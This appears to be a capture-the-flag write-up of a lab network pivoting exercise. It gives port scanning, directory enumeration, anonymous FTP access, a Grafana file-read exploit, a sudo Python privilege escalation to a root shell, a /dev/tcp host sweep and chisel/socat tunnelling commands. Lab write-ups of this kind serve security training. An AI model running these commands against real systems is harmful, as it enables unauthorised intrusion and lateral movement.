-
We scanned the 5000 most common ports.
proxychains4 nmap -sT -Pn --top-ports 5000 -open --min-rate 5000 -vvv -n 20.20.20.3 2>/dev/null

-
As we see that you have a web service on port 80, we perform an enumeration and find a maintenance.html
file.
gobuster dir -u http://20.20.20.3/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 5 --proxy socks5://127.0.0.1:1080 -x .php,.txt,.html,.py

-
We access the page defining a proxy and see a potential user


-
We connect via ftp with user anonymous without providing a password, find a kdbx file and download it

-
I try to get the hash with keepass2john
to crack it but I can’t

-
I see a port 3000
open, I connect via web and find Grafana
exposed with an outdated version.

-
After searching in searchsploit I find a script that allows to read internal files of the machine (LFI
). I display the content with the path indicated by the web server on port 80
(/tmp/pass.txt
).



-
We use the password found to view the contents of the .kdbx file. We see the password of the user freddy

-
We connect as freddy and list the commands that we can execute as sudo without providing a password


-
We see that we can execute a python file without providing a password. We have permissions to modify the file, so we modify it to spawn a shell as root.
import os
os.system("/bin/bash")


-
We apply a reconnaissance to see what other hosts are on network 30.30.30.0/24
#!/bin/bash
for i in $(seq 1 254); do
for port in 21 22 80 443 445 8080; do
timeout 1 bash -c "echo '' > /dev/tcp/30.30.30.$i/$port" &>/dev/null && echo "[+] Host 30.30.30.$i - PORT $port - OPEN" &
done
done; wait


-
We create a tunnel between the three machines using chisel
and socat
#Execute this from the 20.20.20.3 machine
./chisel client 20.20.20.2:4237 R:8888:socks
#Execute this from the 10.10.10.2 machine
./socat TCP-LISTEN:4237,fork TCP:10.10.10.1:1234

